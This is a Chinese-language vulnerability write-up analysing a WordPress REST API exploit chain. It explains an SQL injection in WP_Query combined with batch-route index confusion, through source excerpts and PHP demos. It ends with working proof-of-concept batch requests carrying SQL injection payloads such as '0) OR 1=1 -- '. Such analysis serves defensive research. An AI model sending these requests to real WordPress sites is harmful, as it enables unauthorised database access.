WordPress-RCE-Series-1

WordPress-RCE-Series(1)

最近WordPress好像一连炸了好几个洞出来啊

而且还都是可以直接RCE的

于是简单的整理了最近比较严重的洞,准备分开发几篇博客讲完

第一篇我们就从这次AI挖WordPress的源头开始吧,wp2shell

The component of wp2shell

wp2shell本质是两个洞的组合利用,分别是CVE-2026-63030 + CVE-2026-60137

好熟悉的组合技,想你了React2shell(这个的分析后面也会发)

看报告似乎是通过一个REST API 批量路由混淆+SQL注入来制造攻击面

跟着漏洞发现者的文章来走一遍看看呢

https://www.slcyber.io/research/exploit-brokers-pay-500000-for-a-wordpress-rce-i-found-one-with-gpt5-6

A SQL without sanitization

我看的是wordpress-7.0.1的源码

这里我们先看比较简单的SQL注入部分

来到wp-includes/class-wp-query.php

image-20261018093600278

简单审计上下文代码,可以发现这里是在做对查询文章筛选的功能,筛选依据是需要排除的作者id

这里先判断$query_vars中的author__not_in是否为空

接着判断是否为数组,若为数组则就对其中的元素使用 absint方法,接着再进行去重

最后将id进行拼接并再拼接到SQL语句中去

但是如果author__not_in就不是数组呢?

源码并没有对这个做处理

让我们写一个demo看一下

<?php
function absint( $maybeint ) {
    return abs( (int) $maybeint );
}

$query_vars=array(
    'author__not_in'=>array(1,2,3),
);
$where='';
if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
        sort( $query_vars['author__not_in'] );
        echo "execute sanitization\n";
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
    $where         .= " AND result.post_author NOT IN ($author__not_in) ";
} elseif ( ! empty( $query_vars['author__in'] ) ) {
    if ( is_array( $query_vars['author__in'] ) ) {
        $query_vars['author__in'] = array_unique( array_map( 'absint', $query_vars['author__in'] ) );
        sort( $query_vars['author__in'] );
    }
    $author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) );
    $where     .= " AND result.post_author IN ($author__in) ";
}
print_r( $where );

这是一个正常的运行样例

image-20261018101114552

我们发现结果是符合预期的

那么如果把author__not_in映射到一个字符串呢?

<?php
function absint( $maybeint ) {
    return abs( (int) $maybeint );
}

$query_vars=array(
    'author__not_in'=>'1) OR SLEEP(3)',
);
$where='';
if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
        sort( $query_vars['author__not_in'] );
        echo "execute sanitization\n";
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
    $where         .= " AND result.post_author NOT IN ($author__not_in) ";
} elseif ( ! empty( $query_vars['author__in'] ) ) {
    if ( is_array( $query_vars['author__in'] ) ) {
        $query_vars['author__in'] = array_unique( array_map( 'absint', $query_vars['author__in'] ) );
        sort( $query_vars['author__in'] );
    }
    $author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) );
    $where     .= " AND result.post_author IN ($author__in) ";
}
print_r( $where );

image-20261018101205372

此时就出现问题了,前面对元素的absint被直接绕过,并且此时对字符串也是完全信任,没有进行任何额外的检查

我们再看看后续有没有做过滤呢?

这个函数最后返回的是$this->posts

中间对$where的都是拼接逻辑,只有这里通用的对$where拼接给其他变量

image-20261018103559640

最后落到$this->request

我们继续跟这个变量

发现后续根本没有做进一步的过滤,直接用$wpdb去做执行了

image-20261018105428541

此时就造成了SQL注入

The API in Wordpress

但是光有SQL注入也不够,需要一个外部的调用点

我们先看前面的点在哪里被注册为了路由

网上稍微做了一下信息收集,发现WordPress的路由注册方式主要是REST API

那么我们就可以缩小查找的范围

image-20261018122031674

同时这里还要注意前面的get_posts函数还有一个包裹点

image-20261018122804138

接下来找直接调用和通过query()对get_posts的间接调用就好了

最后发现在这三个文件中都有真实调用

class-wp-rest-global-styles-revisions-controllre.php
class-wp-rest-revisions-controller.php
class-wp-rest-posts-controller.php

对应的类的方法为

WP_REST_Global_Styles_Revisions_Controller#get_items
WP_REST_Revisions_Controller#get_items
WP_REST_Posts_Controller#get_items

并且WP_REST_Global_Styles_Revisions_Controller是继承的WP_REST_Revisions_Controller

那么就有趣起来了

猜测每次请求Controller都会默认先调用get_items来处理请求

看了眼发现确实是

image-20261018133947303

这里的WP_REST_Server::READABLE就是GET

也就是说当使用GET访问这些route时就会触发get_items方法进行响应(下文要考)

再看看路由的命名逻辑,看到register_rest_route方法上

省略掉一些错误处理,主体差不多就是这样

function register_rest_route( $route_namespace, $route, $args = array(), $override = false ) {
	$clean_namespace = trim( $route_namespace, '/' );

	if ( isset( $args['args'] ) ) {
		$common_args = $args['args'];
		unset( $args['args'] );
	} else {
		$common_args = array();
	}

	if ( isset( $args['callback'] ) ) {
		// Upgrade a single set to multiple.
		$args = array( $args );
	}

	$defaults = array(
		'methods'  => 'GET',
		'callback' => null,
		'args'     => array(),
	);

	foreach ( $args as $key => &$arg_group ) {
		if ( ! is_numeric( $key ) ) {
			// Route option, skip here.
			continue;
		}

		$arg_group         = array_merge( $defaults, $arg_group );
		$arg_group['args'] = array_merge( $common_args, $arg_group['args'] );
	}

	$full_route = '/' . $clean_namespace . '/' . trim( $route, '/' );
	rest_get_server()->register_route( $clean_namespace, $full_route, $args, $override );
	return true;
}

再跟进register_route

image-20261018135627409

也就是说最后的路由格式差不多就是 '/' . $clean_namespace . '/' . trim( $route, '/' )

而这里的$this->parent_base还要看get_post_type_object这个方法的输出

继续跟踪看看呢

image-20261018143357143

这里没写什么东西,那么就要看下上下文哪里write了post_type

找到了一个register_post_type方法,这里依旧没写,往上再找

发现基本所有的注册都在这里完成

image-20261018144009120

再回看到register_post_type方法的处理

image-20261018144644212

这里实例化的WP_Post_Type在__construct魔术方法中将$this->name=$post_type

那么推下来就能得到三个Controller的route,分别是

/wp/v2/global-styles/<parent_id>/revisions
/wp/v2/global-styles/<parent_id>/revisions/<id>

/wp/v2/<article-type>/<parent_id>/revisions
/wp/v2/<article-type>/<parent_id>/revisions/<id>


/wp/v2/<article-type>/
/wp/v2/<article-type>/<id>

接着我们再仔细看一下初始化时的操作

看到这(restapi.php::create_initial_rest_routes)image-20261018151841196

这里把post_type做了筛选,接着get_rest_controller()

这个方法返回对应type的对应类或者返回WP_REST_Posts_Controller::class,也就是post type的Controller

而在最初的post_type的注册中,有且仅有这八个type的show_in_rest为true

'post'    array('rest_controller_class' => 'WP_REST_Posts_Controller')
'page'    array('rest_controller_class' => 'WP_REST_Posts_Controller')
'attachment' array('rest_controller_class' => 'WP_REST_Attachments_Controller')
'nav_menu_item' array('rest_controller_class' => 'WP_REST_Menu_Items_Controller')
'wp_block' array(rest_controller_class' => 'WP_REST_Blocks_Controller')
'wp_navigation' array('rest_controller_class' => 'WP_REST_Posts_Controller')
'wp_font_family' array('rest_controller_class' => 'WP_REST_Font_Families_Controller')
'wp_font_face' array('rest_controller_class' => 'WP_REST_Font_Faces_Controller')

而大部分都采用了WP_REST_Posts_Controller

并且对于正常使用来说,最频繁的使用一般都是posts

A successful SQL injection,or not?

那么回到之前那个问题。这个SQL注入能否单独利用呢?

我们来看看控制器的实现

image-20261025151035447

发现这里将传入的author_exclude字段映射为author_not_in的值

并且在收集时也做了限制

image-20261025151600387

而请求的参数是如何层层最后传入到WP_Query#get_posts这个函数呢?中途是不是能被这个限制有效拦截住呢?

How WP handle the request?

WordPress的请求入口在rest-api.php

image-20261025222621232

继续跟进,重点在这里

$request = new WP_REST_Request( $_SERVER['REQUEST_METHOD'], $path );

$request->set_query_params( wp_unslash( $_GET ) );
$request->set_body_params( wp_unslash( $_POST ) );
$request->set_file_params( $_FILES );
$request->set_headers( $this->get_headers( wp_unslash( $_SERVER ) ) );
$request->set_body( self::get_raw_data() );
...
if ( ! is_wp_error( $result ) ) {
	$result = $this->dispatch( $request );
}

// Normalize to either WP_Error or WP_REST_Response...
$result = rest_ensure_response( $result );

这里在完善包体后直接dispatch

image-20261025223225137

dispatch中会做has_valid_params和sanitize_params的校验

has_valid_params

image-20261025224818217

这里会对必要的参数进行检测,be like this:

image-20261025224431868

那么如果缺少request的参数时,请求就会报错

后面进行逐参数 validate_callback,这个感觉不是特别重要,就不讲了

sanitize_params

这里有大量的continue,重点关注这个就可以

一开始会调用get_parametor函数获取执行顺序,接着对各个请求方法的参数进行清洗

image-20261025231536848

如果是不在注册列表中的参数会被保留,对存在的会进行一系列的check

然后对存在sanitize_callback属性的调用指定函数进行清洗,不存在的默认使用rest_parse_request_arg进行清洗

若不发生报错则进行覆盖写入

public function sanitize_params() {
    $attributes = $this->get_attributes();
    if ( empty( $attributes['args'] ) ) {
        return true;                        // 没绑 schema → 一个字不洗
    }
    $order = $this->get_parameter_order();  // JSON → POST → GET → URL → defaults

    foreach ( $order as $type ) {
        foreach ( $this->params[ $type ] as $key => $value ) {
            if ( ! isset( $attributes['args'][ $key ] ) ) {
                continue;                   // ★ 未注册的参数原样保留,既不校验也不清洗
            }
            $param_args = $attributes['args'][ $key ];

            // 有 type 但没有 sanitize_callback → 默认注入 rest_parse_request_arg
            if ( ! array_key_exists( 'sanitize_callback', $param_args ) && ! empty( $param_args['type'] ) ) {
                $param_args['sanitize_callback'] = 'rest_parse_request_arg';
            }
            if ( empty( $param_args['sanitize_callback'] ) ) {
                continue;                   // 没有 type 也没有 callback → 跳过
            }

            $sanitized_value = call_user_func( $param_args['sanitize_callback'], $value, $this, $key );
            if ( is_wp_error( $sanitized_value ) ) {
                $invalid_params[ $key ] = ...;          // 不抛出,继续洗别的
            } else {
                $this->params[ $type ][ $key ] = $sanitized_value;   // ★ 就地改写
            }
        }
    }
    if ( $invalid_params ) {
        return new WP_Error( 'rest_invalid_param', ..., array( 'status' => 400, 'params' => ..., 'details' => ... ) );
    }
    return true;
}

我们再看看rest_parse_request_arg是怎么做的清洗

function rest_validate_request_arg( $value, $request, $param ) {
	$attributes = $request->get_attributes();
	if ( ! isset( $attributes['args'][ $param ] ) || ! is_array( $attributes['args'][ $param ] ) ) {
		return true;
	}
	$args = $attributes['args'][ $param ];

	return rest_validate_value_from_schema( $value, $args, $param );
}

再调用,接着会进入这个switch-case

image-20261026004553334

会对指定了type的参数进行严格的校验

而这个函数外层还套着foreach,那么数据类型就一定会被进行严格的校验

然后就能得出,如果实际传入的type不对,就会被sanitize_params()方法捕捉并报错,直接利用完全失败

Batch route confusion

这个地方就很有趣了

我们看到wp-includes/rest-api/class-wp-rest-server.php

image-20261018160054389

这里首先initial了两个数组$matches和$validation来存储处理的结果

foreach 1

先看第一个foreach

foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {
        $has_error    = true;
        $validation[] = $single_request;
        continue;
    }

    $match     = $this->match_request_to_handler( $single_request );
    $matches[] = $match;
    $error     = null;

    if ( is_wp_error( $match ) ) {
        $error = $match;
    }

    if ( ! $error ) {
        list( $route, $handler ) = $match;

        if ( isset( $handler['allow_batch'] ) ) {
            $allow_batch = $handler['allow_batch'];
        } else {
            $route_options = $this->get_route_options( $route );
            $allow_batch   = $route_options['allow_batch'] ?? false;
        }

        if ( ! is_array( $allow_batch ) || empty( $allow_batch['v1'] ) ) {
            $error = new WP_Error(
                    'rest_batch_not_allowed',
                    __( 'The requested route does not support batch requests.' ),
                    array( 'status' => 400 )
            );
        }
    }

    if ( ! $error ) {
        $check_required = $single_request->has_valid_params();
        if ( is_wp_error( $check_required ) ) {
            $error = $check_required;
        }
    }

    if ( ! $error ) {
        $check_sanitized = $single_request->sanitize_params();
        if ( is_wp_error( $check_sanitized ) ) {
            $error = $check_sanitized;
        }
    }

    if ( $error ) {
        $has_error    = true;
        $validation[] = $error;
    } else {
        $validation[] = true;
    }
}

这里先检查$single_request是否error

若error,则在$validation对应的index下赋值$single_request并continue

若无错误,则在$matches对应的index下赋值$this->match_request_to_handler( $single_request );

后面没什么问题,就是一串对于有无error的处理

问题出在最后一个if-else:

如果一开始就error,那么$validation会+1,而$matches不变

但是正常结束呢?

$matches先会被赋值,在最后$validation增加一个true的值

那么如果通过发送一个请求使得一开始这个条件就成立if ( is_wp_error( $single_request ) )

就会使得原本通过index一一对应的matches-validation组错位

还有注意的就是这里的几个if (!$error)

image-20261025172129612

第一个检验了route是否有批处理的配置

image-20261025195039852

第二个和第三个都是检验参数的,前面讲过了,不多说

foreach 2

接下来看第二个foreach

foreach ( $requests as $i => $single_request ) {
    if ( is_wp_error( $single_request ) ) {
        $result      = $this->error_to_response( $single_request );
        $responses[] = $this->envelope_response( $result, false )->get_data();
        continue;
    }

    $clean_request = clone $single_request;
    $clean_request->set_url_params( array() );
    $clean_request->set_attributes( array() );
    $clean_request->set_default_params( array() );

    /** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */
    $result = apply_filters( 'rest_pre_dispatch', null, $this, $clean_request );

    if ( empty( $result ) ) {
        $match = $matches[ $i ];
        $error = null;

        if ( is_wp_error( $validation[ $i ] ) ) {
            $error = $validation[ $i ];
        }

        if ( is_wp_error( $match ) ) {
            $result = $this->error_to_response( $match );
        } else {
            list( $route, $handler ) = $match;

            if ( ! $error && ! is_callable( $handler['callback'] ) ) {
                $error = new WP_Error(
                    'rest_invalid_handler',
                    __( 'The handler for the route is invalid' ),
                    array( 'status' => 500 )
                );
            }

            $result = $this->respond_to_request( $single_request, $route, $handler, $error );
        }
    }

    /** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */
    $result = apply_filters( 'rest_post_dispatch', rest_ensure_response( $result ), $this, $single_request );

    $responses[] = $this->envelope_response( $result, false )->get_data();
}

这里把之前存进去的$validation和$matches又全取出来了

我们先厘清一下这三个变量存储的是什么

$single_request 一个以每个独立请求的method和路由的path为参数的WP_REST_Request对象
$validation 存储true/Wp_Error对象
$matches 存储请求中的handler和route

那么根据前面的错位,就会出现index[1]的request实际使用的是index[2]请求的handler的情况

此时respond_to_request对其进行处理:

image-20261025144847063

会发现几乎不校验route

只在最后会使用route

image-20261025144925590

那么也就相当于这里会用handler的回调函数来处理request,且不事先对传入的route进行校验

感觉这个处理就很神秘,相当于route几乎没有被用上了

2 bugs lead to wp2shell

两个漏洞单独拎出来感觉都是无法找到利用的口子的

但是一结合起来就出问题了

我们可以利用错位的机制来绕过原由路由的handler对参数类型的严格限制

这里直接借用原作者的demo了

POST /wp-json/batch/v1 HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 364

{
  "validation": "normal",
  "requests": [
    {
      "method": "POST",
      "path": "http://:"
    },
    {
      "method": "DELETE",
      "path": "/wp/v2/posts/1",
      "body": {
        "author_exclude": "foobar"
      }
    },
    {
      "method": "GET",
      "path": "/wp/v2/posts"
    }
  ]
}

在处理时,由于错位,第一个循环后的数组指针大概会出现这样的变化

request validation[] matches[]
1st req 0 0(WP_Error) 0
2nd req 1 1 0
3rd req 2 2 1
final condition / 3 2

那么在第二次的循环中

index=0的request因为is_wp_error为真,就会被直接跳过

那么连着第一个请求的match就也被跳过了(是按照对其i的规则来处理得到resp的)

处理index=1的request时,此时对齐i得到的就是index=1的validation(属于第二个请求)和index=1的macthes(属于第三个请求),此时是validation=true

最后的respond_to_request就会调用对应route下的handler的callback函数

这里我们又要上去看眼matches数组的元素是怎么处理得到的

protected function match_request_to_handler( $request ) {
		$method = $request->get_method();
		$path   = $request->get_route();

		$with_namespace = array();

		foreach ( $this->get_namespaces() as $namespace ) {
			if ( str_starts_with( trailingslashit( ltrim( $path, '/' ) ), $namespace ) ) {
				$with_namespace[] = $this->get_routes( $namespace );
			}
		}

		if ( $with_namespace ) {
			$routes = array_merge( ...$with_namespace );
		} else {
			$routes = $this->get_routes();
		}

		foreach ( $routes as $route => $handlers ) {
			$match = preg_match( '@^' . $route . '$@i', $path, $matches );

			if ( ! $match ) {
				continue;
			}

			$args = array();

			foreach ( $matches as $param => $value ) {
				if ( ! is_int( $param ) ) {
					$args[ $param ] = $value;
				}
			}

			foreach ( $handlers as $handler ) {
				$callback = $handler['callback'];

				// Fallback to GET method if no HEAD method is registered.
				$checked_method = $method;
				if ( 'HEAD' === $method && empty( $handler['methods']['HEAD'] ) ) {
					$checked_method = 'GET';
				}
				if ( empty( $handler['methods'][ $checked_method ] ) ) {
					continue;
				}

				if ( ! is_callable( $callback ) ) {
					return array( $route, $handler );
				}

				$request->set_url_params( $args );
				$request->set_attributes( $handler );

				$defaults = array();

				foreach ( $handler['args'] as $arg => $options ) {
					if ( isset( $options['default'] ) ) {
						$defaults[ $arg ] = $options['default'];
					}
				}

				$request->set_default_params( $defaults );

				return array( $route, $handler );
			}
		}

		return new WP_Error(...);
	}

大概就是把全局已经注册的路由和这里对应上呢

这里callback GET调用的就是get_items,此时就会触发Wp_Query对象的实例化以及对query函数的调用

我们仔细看看get_items的实现,会发现一个很恐怖的问题

callback的函数对处理的request是完全信任的,除了只检查 orderby/include 前置条件和 context=edit 权限

对于其他的参数几乎不做校验,接近于直接处理body了

但是这样可以跑通了吗?

好像不行呢。。我们发现/v1/batch路由对请求体的request method做了严格的校验

image-20261025222007715

这里的校验还是在sanitize_params中

在这里有检测enum的分支

image-20261026015009459

直接无法通过

那么我们就要想办法绕过它去做GET的请求

这里感觉也是作者和他的AI最天才的地方啊,使用一个嵌套去做绕过

POST /wp-json/batch/v1 HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 656

{
  "requests": [
    {
      "method": "POST",
      "path": "http://:"
    },
    {
      "method": "POST",
      "path": "/wp/v2/posts",
      "body": {
        "requests": [
          {
            "method": "GET",
            "path": "http://:"
          },
          {
            "method": "DELETE",
            "path": "/wp/v2/posts/1",
            "body": {
              "author_exclude": "0) OR 1=1 -- "
            }
          },
          {
            "method": "GET",
            "path": "/wp/v2/posts"
          }
        ]
      }
    },
    {
      "method": "POST",
      "path": "/batch/v1"
    }
  ]
}

此时顶层 POST /batch/v1 经 dispatch 的 batch schema 校验合法进入回调 serve_batch_request_v1

outer[0] 的 URL 解析失败使 $matches 错位一格,outer[1] 借到 outer[2] 匹配的 /batch/v1 handler,其 body 里前面作为未知参数被sanitize放行的内层 batch 被当作批处理输入再跑一轮——这层绕过的是 method 枚举(枚举只存在于顶层路由的 schema,内层信封结构无 schema)

内层子请求各自在循环二绑上自己匹配到的 schema,inner[1](DELETE /wp/v2/posts/1)由于绑定的 delete_item schema 不认识 author_exclude在校验中直接进行了保留

内层同样的错位让 inner[1] 在执行时借到 inner[2] 的 get_items 匹配 → 这层绕过的是参数校验(配对不一致); get_items 读走DELETE body里未清洗的标量 author_exclude → 映射 author__not_in → 实例化 WP_Query → query() → get_posts() 的“仅数组消毒”分支原样拼接 → $wpdb->get_results() 注入达成。

最后让AI 搓了个直观点的gadgets方便大家理解

HTTP POST /wp-json/batch/v1   body: { requests: [outer0, outer1, outer2] }
│
├─ rest_api_loaded()
└─ serve_request( '/batch/v1' )                      ① 唯一 HTTP 入口
   └─ dispatch()                                     (435 行)
      ├─ match_request_to_handler()                  绑 batch schema
      ├─ has_valid_params / sanitize_params          顶层枚举校验:outer 三个子请求都是 POST ✓
      └─ respond_to_request()
         └─ call_user_func( serve_batch_request_v1 )  (1287 行)
            │
            ▼
   serve_batch_request_v1()                    ②【第一次调用】正常路径:路由回调
   │  循环一:outer[0] "http://:" 解析失败 → $requests[0]=WP_Error(错位的种子)
   │  循环二:matches[0]=match(outer[1])=posts create_item
   │          matches[1]=match(outer[2])=/batch/v1 handler   ← outer[2] 是"捐赠者"
   │  循环三:i=1 → $matches[1] 取到 outer[2] 的匹配 = /batch/v1 handler
   │     → respond_to_request( outer[1], '/batch/v1', batch_handler, null )
   │        └─ call_user_func( serve_batch_request_v1 )      (又是 1287 行)
   │           │
   │           ▼
   │     serve_batch_request_v1( outer[1] )   ③【第二次调用】借位重入(递归)
   │        读 outer[1] body 里的 requests → 内层 batch(从未被枚举校验,GET/DELETE 随意)
   │        循环三:inner[1] 借到 inner[2] 的 get_items 匹配
   │           → call_user_func( get_items )   ④ SQLi 落地
   │        → 返回内层响应数组
   │
   │  返回 207 WP_REST_Response
   └─ serve_request 后半段:json_encode + echo(唯一一次 I/O)